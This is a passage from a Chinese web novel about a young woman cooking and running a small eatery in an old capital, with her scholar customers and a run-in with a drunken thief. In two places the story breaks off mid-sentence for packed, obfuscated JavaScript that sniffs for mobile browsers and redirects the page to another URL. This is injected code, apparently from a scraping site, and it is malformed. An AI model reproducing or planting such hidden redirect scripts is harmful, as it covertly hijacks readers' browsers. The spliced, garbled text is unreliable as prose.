还说什么担心他，你要不要把你那幸灾乐祸上扬的嘴角放下来再说！ 他强装镇定，“谁看见了？谁说的？啊？胡说八道！没见着可别乱说！” 殊不知他差点跳脚又强装镇定的模样落在几人眼里太过明显，已然证实了此言，对方见他的模样忍不住又笑了几声，又添一把火。 "听说啊怀恩兄昨日可是还被裴子瞻赶下车了？我等倒有些好奇了，怀恩兄昨日到底是何模样？让子瞻兄连多年情谊都顾不上了。" 那得是何模样啊马车都没能让上。 他最后数落裴律了一句，“这裴子瞻也真是的，怎么也是多年好友了，怎地就因为你掉进坑里沾染些许泥尘嫌你脏还赶你下马车呢……” 17. 买酒 "什么嫌我脏？" "那是嫌我脏吗？！那是……那是嫌我身上沾上的东西脏！又不是我！！" 周继明下意识反驳了两句反应过来，"不是！什么脏不脏的，都说了没有的事！别瞎传谣言！" 说完羞恼地一甩袖子转身离去，一转身行至拐角处见着裴律。 四目现对，周继明高扬着脑袋从鼻孔里重重“哼”了一声，径直回了自己位置上。 甭管他怎么说怎么想的，他现在不想搭理裴律！ 待他在位置坐好，刚巧开课的钟声响起，夫子走进学堂放下书籍就准备开始授课。 台上夫子清了清嗓子在前面向学子们讲着《礼记》，周继明走神间突觉肩膀处被人从身后戳了戳，递上来一张纸条，他抬头看了看夫子，低头偷偷摸摸打开小纸条—— “散学后还去姜娘子处用餐么，我请客。” 一看就知是裴律写的了。 周继明：这人也觉昨日逃难似的丢下他之举不太够义气吧！所以才请他吃饭！ 低头刷刷在纸上回复，又小心折好飞快传回身后，纸条传到裴律手中打开，纸上回复言简意赅，"一个月！" 就一顿饭？ 难得的机会，不得趁机多宰几顿！ 裴律提笔回复：“成。” 周继明收到回复，看着那干脆利落的“成”字，顿时喜笑颜开了，他看到了未来一个月的美食在向他招手！ ＊ 姜稚鱼这边后厨的忙碌已然开始。因着昨日菜品售卖情况来看，除去招牌炸鸡和茶乳酪，山煮羊很受欢迎，也足以证明食客们对羊肉的喜爱，今日么，姜稚鱼便想着今日再做一道羊肉的菜品。 琢磨了一下，便拟好了今日菜品——香煎羊排，莲房鱼包，桂花糯米藕，风味茄子，芥辣瓜儿…… 采购好食材回来，瞧着案板上现有的食材，姜稚鱼脑子一转又添了一道荷风拼盘，既是藕片，莲子，菱角一并摆盘成的一道菜。 糯米提前泡上，洗净的藕顶端切开作盖，酿入泡好的糯米，固定好藕盖，将酿好的糯米藕放入锅内，加入清水，糖，红枣，少许红曲米慢火煨煮，因此过程时间较长，便可在此时间处理其它菜品。 徐长宁在一旁处理着鱼肉，三喜负责洗菜切菜，姜稚鱼将羊排腌制上，中间空隙时间还教三喜腌制鸡肉和制作茶乳酪酸梅饮子，如此，待三喜学会了也能分担些许厨内事物。 时间在忙碌的筹备中过去，煨煮的糯米藕炖好了出锅，正值盛夏，这道菜本也是吃凉的，姜稚鱼事先就将糯米藕切好，待有食客点了此菜后淋上采买来的桂花蜜，撒上干桂花就成。 照旧将今日菜品在那醒目的木牌上写好摆放在显眼位置，时近午时饭点，食客渐渐多了起来。 起先三人招呼食客入座，斟上茶水，递上菜单介绍菜品，有那熟客看着菜单，"香煎羊排、桂花糯米藕？姜娘子这儿今日是又添新花样了？" 姜稚鱼含笑应道：“正所谓‘食无定味，适口者珍’，这世间美味层出不穷，小店也想着时常换些新样式，各位街坊邻里也尝个新鲜，换个口味，便是图个常吃常新，客官们也不会腻味不是？” "那岂不是常常都会有新意菜品了？"食客想到此拍手称赞，"甚好！如此每日都有不一样的新鲜感！" "那今日就来这香煎羊排，桂花糯米藕，这莲房鱼包也来一份……" 姜稚鱼快速在小薄子上记下菜品，回到后厨备菜…… 一番忙碌午时饭点将过，食客渐少，姜稚鱼也会询问熟客或是面善的食客今日菜品如何。 食客反馈可是最重要的。 "姜娘子这儿菜品其中滋味自是很好的，炸鸡一如既往的酥脆多汁，羊肉也是焦香可口……就是吧……" 一听到这儿，姜稚鱼支起耳朵，因着一般这话后面就是有转折了，有什么意见或是不足之处，便听对面接着道，"若是，能有酒作伴就再好不过了！" 食客砸砸嘴，“若是有美酒相佐，滋味想必更上一层楼，快活似神仙了！” 这是位好酒的食客，姜稚鱼听进去了，也是，在后世的餐饮业甭管大小饭馆也都兼并出售酒水的，只是这里的酒水是不可私自酿造售卖的，需得去官库酒楼批量购买来售卖。 是以午食过后交待三喜与长宁看店，姜稚鱼便去官营的酒楼采购了酒来，路上还咬牙购买了一小包的胡椒，想着招牌菜品或可加上胡椒口味的炸鸡。 虽说这时胡椒珍贵，但自古皇城脚下，不缺的就是达官贵人，姜稚鱼来这些时日也是见识了，想着这奢侈的胡椒口味应还是有些销量的。 姜稚鱼回到店后稍作歇息，取出胡椒用小火慢焙，直至散发出浓烈辛香，再将盐也放入干锅炒制，与胡椒一同研磨成粉状。 待胡椒香料制成，再下锅炸点炸鸡，炸好捞出沥油，趁着炸鸡还滋滋冒油的时候撒上胡椒香料，外壳高温使得香料瞬间粘附其上并激发出独属胡椒的浓烈香气，满室辛香。 姜稚鱼唤来三喜与徐长宁："三喜，长宁，你们来尝尝这新做的胡椒炸鸡如何？" 徐长宁一听，"这可是价比黄金的胡椒么？" “此物价贵，这，还是留着售卖给食客就好了，我就不用尝了吧……” 正要伸筷子的三喜一听，价比黄金？握筷子的手都抖了抖，"这么贵重！" 她也连连摆手，“对啊对啊，只售卖赚钱就好啦！我们就不用尝了！” 姜稚鱼见两人模样笑笑：“就尝一点儿，也没那么夸张。” “再说，若是你们自己不尝尝其中滋味，今后售卖如何与食客介绍呢？” “作为卖家，自然是需得自身清楚个中味道，才有底气售卖啊！” 两人闻言觉着也有道理，才缓缓伸出筷子品尝…… "姜娘子做什么菜呢？如此浓烈诱人的香气！" 周继明一步入食店嗅着味道叫嚷着。 姜稚鱼："胡香炸鸡。" "是新做的香料，还没推出呢，周郎君可要尝尝？" "那敢情好！来一份！" 周继明拿着三喜递上的菜单：“还有什么菜呢，我看看……” 待他浏览菜单点好了菜品，抬头正巧见着案几上一并摆放的还鲜艳的两束花篮，一拍脑袋，"昨日姜娘子开业之喜。我本也是要来的，可惜昨日我……" 见着姜稚鱼疑惑望过来一副静等下文的模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092730|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，周继明立时想起来昨日糗事来，转了话头，"可惜……昨日有事耽搁了！" 他说着转头看向裴律，“对了！子瞻，我昨日也买了花篮落你车上了，你可有替我转交给姜娘子？” 裴律喝茶的手稍顿，昨日周继明花篮落车上了？ “……没注意，忘了。” “好吧……” 也不是什么大事儿。 转头又对着姜稚鱼说道，“虽说晚来了一天，还是祝贺姜娘子开业大喜！生意红红火火，客似云来，财源广进！” 姜稚鱼笑笑：“多谢周郎君吉言。” 寒暄过后姜稚鱼转身进后厨备菜，周继明想起昨日之事还心有余悸，自己与裴律提起昨日之事来，摇头叹息，"那还得亏是我掉下去了……” 他睨着对面一副贵公子模样优雅喝茶的裴律，“要是此事换做是你，那后果不堪设想啊……" 若是换做裴律遇上他昨日之事，不得崩溃疯吧！ "你怕不是得立马去投那金明池吧！" “……” 裴律喝茶的动作一滞，顺着话想到昨日场景。 若是发生在自己身上么？ 未及浮现场景便立时摇头，绝不敢想，他自己若是遇上了—— 他怕真是连他自己这个人都不想要了！去投那金明池去！ 两人闲聊间点的菜式上了桌，饭后周继明对着菜品称赞：香煎羊排外焦里嫩，莲房鱼包清香鲜美，桂花糯米藕甜香软糯，风味茄子咸香下饭，其中尤其那新做的胡香炸鸡他最是喜欢…… ＊ 一天的营业结束，熄灭灯火，姜稚鱼在夜色中闭店回家。 姜稚鱼与三喜走在回家的小巷口，两人正说着明日店内的安排，姜稚鱼突觉肩头被一股大力撞击上，这一撞，撞得她脚步踉跄，差点没站稳。 蹙眉抬眼，撞上自己的是位男性。 对方中年模样，脸上有道疤，在昏暗灯火下显得狰狞，此时对方拽着一空酒坛一脸凶相，身上酒气熏天，眼神浑浊。 “怎么走路的，他娘的长没长眼睛……” 明明她们好好走着，对方突然撞上来，却还率先出口恶狠狠骂骂咧咧指责起来，没完没了，难听得很。 一旁三喜见状上前一步，"明明是你！……" 姜稚鱼眼见三喜恼怒的模样，一副要张口反击回去的样子，一把拉住人，“三喜！” 手上轻拍三喜的手，"我没事儿，走吧，我们回家。" 一边说着就拉着三喜走开了。 三喜被拉开好几步还瞪着那人背影很有些愤愤，“店家阿姐！分明是那个人不由分说地撞上来，嘴里还不干不净的骂人，怎么不让我骂回去再走！” 姜稚鱼脚步未停，只是握紧三喜的手缓缓道来，“像他那样的酒鬼，模样瞧着就不是什么善茬……也不是什么大事，如非必要，还是不要与那种人起冲突为好。” "谁知道，像这样的人，有时惹着了会做出什么样疯狂的事来呢？" “争一时的口舌之快，可能会招来难以想象的后果。” “有时候……退一步避免锋芒，也是为了更好的保护自己，避免受到更大的伤害……” 18. 羊头签 姜稚鱼与三喜穿过小巷回到家里，临睡前收拾衣物时后知后觉发现她挂在腰间的荷包竟然不见了！ 思及方才发生的事情，大概就是与那酒鬼撞上的时候被摸走了的！ 任谁凭白少了银钱都会有些懊恼，姜稚鱼顾自懊恼生了一会儿闷气，随即深深吸了一口气，心里默念安慰自己—— 罢了罢了…… 事儿已发生，破财消灾！ 也好在那里面也没放多少银钱…… 次日清晨，姜稚鱼按照昨日想好的菜品购买食材时，在那羊肉摊位前，买好需要的羊肉后，瞧着那案上摆放的处理干净的羊头肉，不由想起以前在某本书籍里见过的说本朝有一道名菜——羊头签。 据传以“不修边幅，饮食粗粝”闻名的宰相王安石，有一道心头挚爱的菜便是这羊头签，且说其最爱在看书时食用，看一页书吃一串羊头签，颇有后世人们一边看剧一边吃零嘴的闲趣。 《旸谷曼录》亦有记载，“食品第一为羊头佥，菜品第一为葱虀”。 羊头佥便是羊头签，可见羊头签的地位和欢迎程度。 姜稚鱼当即买下羊头肉，兴冲冲回到店里，一跨进店内就逮着徐长宁询问， “长宁长宁，你会做羊头签么？” 姜稚鱼自己只听闻过羊头签这道名菜大名，倒是没做过的。 徐长宁点头：“自然。” “只是这道菜相比于其它签菜，更为繁复且只用脸颊两侧之肉的……” 这本是道奢侈的宫廷菜肴，只用两颊之肉其余部分是弃用的，其它部分的肉都不用倒是浪费了。 只取两颊之肉？ 姜稚鱼略思索便道，“没事儿，你尽管做！” 徐长宁闻言系上围裙，净手后便手起刀落切下两颊部位的两块嫩肉，将其煮熟后切成均匀细丝，将羊肉丝加入调料香料拌匀。 将调好的馅料铺在展开的猪网油上，将其卷成细长的圆筒状，形似竹签。 两端封口，整体均匀挂上面粉调制的面糊，放入油锅，炸制外表金黄酥脆。 炸好捞出沥油，斜刀切成小段码入素白瓷盘内。 “店家，做好了，您尝尝？” 她将盘子摆放在姜稚鱼面前。 姜稚鱼闻言正要取来竹筷尝尝是何味道，不想此时有人掀帘而入，“姜娘子，外间怎地没人呢？” 是位熟客，还是位自她还是小食摊时就常来光顾的食客，这时她与徐长宁都在后厨做菜，三喜也在后厨收拾洗菜，食客外间未见着人自己就掀帘进后厨了。 “姜娘子，现在可有什么吃的么？” 今日来得早些，人家这儿貌似还没开始营业呢。 那人说着见着刚出锅的羊头签，转头望望外间并无食客，试探问，“这可是有食客点的菜么？” “并未，这是刚试做的菜品，正准备自己先尝尝味儿……” 她准备自己先尝尝味道后续再正式推出来着。 “那敢情好！姜娘子这盘就先卖与我吧！” “今日朝食都没能吃，正巧有现成的！可饿死我了……” 姜稚鱼抿唇笑回：“好嘞。” 食客闻言双眼微亮，不用人店家动手自己就上手端着那盘刚出锅的羊头签随意找了个位置落座了，一边吃得眼睛放光连连点头一边扬声问：“姜娘子！还有什么可尽快上的菜吗？再来几样！” 待姜稚鱼与徐长宁两人一同做好菜为那食客上完几道快手小菜后，见着那剩下的羊头肉，动手将其切开，放入锅内加入葱姜香料煮熟，取出晾凉，别骨取肉，切成薄片，在盘中码放整齐。 接下来调蘸料，姜稚鱼想了想，分别调了咸香的酱油蒜蓉泥料汁、茱萸花椒制成的辛辣料汁以及芝麻制成的胡麻料汁，三款不同口味的蘸料，如此，便称为“拌羊头三味碟”，待食客点了此菜后便将这三味碟一并上桌，可让食客一次尝遍三种不同蘸料。 做好后，姜稚鱼在心里为自己的脑袋瓜点了个赞，物尽其用又多了道应季凉菜。 因着夏季炎热的缘故姜稚鱼自己有时会有些没那么有食欲，琢磨着炖了些许山药粟米粥，待煮好晾凉后佐以脆爽的酱瓜或是其它什么凉菜，都是极好的开胃咸粥。 最终，姜稚鱼目光落在一旁篮子里红艳艳的樱桃上，便取来些做了樱桃乳酪，樱红小巧的樱桃点缀在冰镇的乳酪上，红白相印，盛在青瓷盏里很是亮眼。 所谓“雨过园亭绿暗时，樱桃红颗压枝低”，正是樱桃上市时节，市上很多卖花人都临时卖起了樱桃，今日这樱桃便是出门时赵蓉赠送与她的。 此时的姜记食肆外，一辆装饰华丽的马车路过。 近两日的裴夫人在自家府上都没多少胃口，便想着出门溜达一圈看看有没有什么合口的吃食，却在一家小食肆外见着有食客拿着些许眼熟的饮子。 那样式，有点像裴律之前从外面带回来的饮子…… 马车在姜记食肆外停下，裴夫人扶着侍女的手下了马车，略一打量眼前这间小店，迈步走近。 姜稚鱼见着一贵夫人进店来，气质瞧着有些凌人，立马迎上前去，迎其落座，斟上茶水，俸上菜单笑问，“夫人万福，这是小店菜单，您看看想吃点什么呢？” 裴夫人接过菜单看了看，其中还有些比较陌生的此前没听过的菜名，也没点菜放下了菜单，语气平淡反问：“近日天热食欲下降，你这儿，可有什么开胃的菜肴？” 姜稚鱼闻言，精神一振，和她一样食欲不振的食客不就来了么？ “小店正巧今日有山药粟米粥，文火慢熬，山药小粥又最是养胃，夫人可搭配酱瓜或是其它小凉菜，很是开胃的……” “至于其它菜品么，今日新上的拌羊头三味碟，搭配有三种不同风味的蘸料，咸香、辛辣加上胡麻香，任选其一或是皆尝均可，还有道羊头签，现炸的外酥里嫩，也是佐酒或是下粥的菜品。” “那便你说的几样上上来尝尝，看看是不是当真如此。” “还有你这是否有种叫茶乳酪的饮子？也来一份，要冰镇的……” “好的，夫人稍等。”姜稚鱼记下菜品，转身回后厨。 待菜肴依次摆上桌来，裴夫人尝了尝默默点头，倒当真比近日多吃了不少，吃到最后示意侍女结账，还额外多给了些赏钱。 ＊ 饭点过后闲隙时间，姜稚鱼望着那剩下的樱桃，挑选出饱满的樱桃仔细去核，先用梅子水煮开，捣碎之后用梅花型模具轻轻压成饼，最后淋上蜂蜜或是撒上白糖，如此一道红艳的形如花朵的樱桃煎既成。 姜稚鱼端着做好的樱桃煎走出，拿着块樱桃煎正要咬下，却见着周继明与裴律一前一后进店来，周继明一进来就大声询问，“姜娘子，今儿有什么好菜呢？” 得。 姜稚鱼望望手里的樱桃煎抿抿唇遗憾放下，招呼起两人来。 今日两人来得倒比平时早些。 待两人点好菜后，周继明今日还点了盅新进的酒。 待菜品上桌，两人一看，除了他们点的菜品外还多了一小碟红色艳丽的甜点，姜稚鱼笑着解释：“自己做的小食罢了，请裴郎君周郎君尝尝。” 显然这道樱桃煎是赠送的。 周继明惊喜不已：“多谢姜娘子！” 裴律亦点头致谢，“多谢姜娘子。” 姜稚鱼放下菜品离开，两人就着菜慢悠悠喝着小酒。 姜稚鱼终于得以坐下来，心满意足地拈起一块樱桃煎。 两人来时小店还未开始晚间的忙碌，待两人慢悠悠吃着小菜喝完酒时，小店幕食的忙碌都过了，姜稚鱼闲暇时还不时慢慢吃着那樱桃煎。 樱桃煎一入口，甜味蔓延，沁得眉眼微弯，显然很是喜欢…… ＊ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092731|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜间渐深，饭点已过。 姜记食肆里的三人便开始着手收拾店内，主要是打扫清洁，清点食材，也商量一下明日的菜品，一切整理完毕，熄灭灯火关店。 徐长宁与两人道别回家，姜稚鱼与三喜也相伴往家走去。 夜晚的巷子更为寂静。 临近巷子口时，两人隐约听着一阵嘈杂声，夹杂着男子的怒骂声，拳脚落在□□上的闷响，伴随着“没钱还敢赌”、“还钱”、“活腻了！”之类的属于男性粗鲁的谩骂声…… 两人朝着自己家的方向走，不想却是越来越靠近声源处了，一转过拐角，便见着几个高大男人围着一个男人，那男人显然被几人打得没有还手之力，蜷缩在地上，随着身上拳头落下，发出因为痛苦的呻吟。 姜稚鱼与三喜隔着一段距离见着这一幕，心里一紧，停下脚步。 可这里是她们回家的必经之路，被他们几人挡住了。 听几人骂的内容，无非是赌债纠纷。 姜稚鱼蹙眉，观眼前的情形，也不知多久才能完事，姜稚鱼略一思索，拉着三喜就转身，“三喜，暮食吃了有些时辰了，饿了吧？我们再去吃点宵夜。” “店家阿姐……”三喜拽了拽她的袖子，声音有些异样。 听着三喜出声叫她，还以为这孩子是见此情景有些不忍，姜稚鱼面无表情道：“赌徒而已，被教训不值得同情。” “不是，我是说，那人好像是上次撞你的那人！” “？” 那几人围着严严实实的，这孩子咋看见的？ “真的，我趁着那露出的间隙见着那人脸了，那道疤都一样。” 接着她感觉大快人心的道：“哼！真是活该！” 姜稚鱼：那还真是天道好轮回啊！ 不过这是非之地，此时还是不可久留。 两人也没走多远，在街口就有两三家小摊点着灯火营业着，走近看了看，有一家卖糍糕的，有一家卖香饮子的，还有一家卖签盘兔和旋煎羊白肠的。 两人先在香饮子摊前买了解暑的紫苏饮，再买了两块豆沙馅的糍糕慢慢吃着，姜稚鱼也没想着买那旋煎羊白肠。 主要是吧姜稚鱼由于之前还在摆摊时那对面的旋煎羊白肠的摊主，弄得不她自觉地对那旋煎羊白肠有了点不好的印象。 就在路过那旋煎羊白肠摊位时姜稚鱼闻着一阵香味，循着香味望去，这阵香味竟是那旋煎羊白肠摊位传来的？ 只见摊主将那乳白色的羊白肠，放在热铁鏊上，羊肠接触热油，随着滋啦一声响，表面泛起金黄的焦酥，随着煎烤那羊白肠微微弯曲，油脂被逼出香气四溢。 摊主见一小娘子正望着他这边，便热情招呼，“小娘子来点什么？旋煎羊白肠么还是签盘兔？” 姜稚鱼见摊主都招呼了，也就顺着话上前，打量摊位上那旋煎羊白肠。 焦香诱人，倒是与之前所见的有所不同。 摊位也收拾得整齐，与之前记忆中那邋遢摊位截然不同。 摊主顺着她目光所在，便问，“旋煎羊白肠，香得很！小娘子来一串？” “先来两串吧。” 她见此倒想尝尝了。 “得嘞！” 摊主爽快应答，麻利地用竹签穿好煎得焦黄的羊白肠，递与姜稚鱼。 姜稚鱼接过刚出锅的旋煎白肠，凑近嘴边吹了吹，小心咬下一口，先是肠衣经煎烤后的带有嚼劲的脆感，接着是内里饱满的馅料在口中化开，带来浓郁满足的肉香…… 这旋煎羊白肠竟是这般滋味么？ 还挺好吃的！ 原来只是之前她对面的那摊主做得不好罢了！ 姜稚鱼与三喜都离开摊位了，吃完了有些意犹未尽又返回了摊位。 “摊主，再来两串旋煎羊白肠！” “签盘兔也来一份！”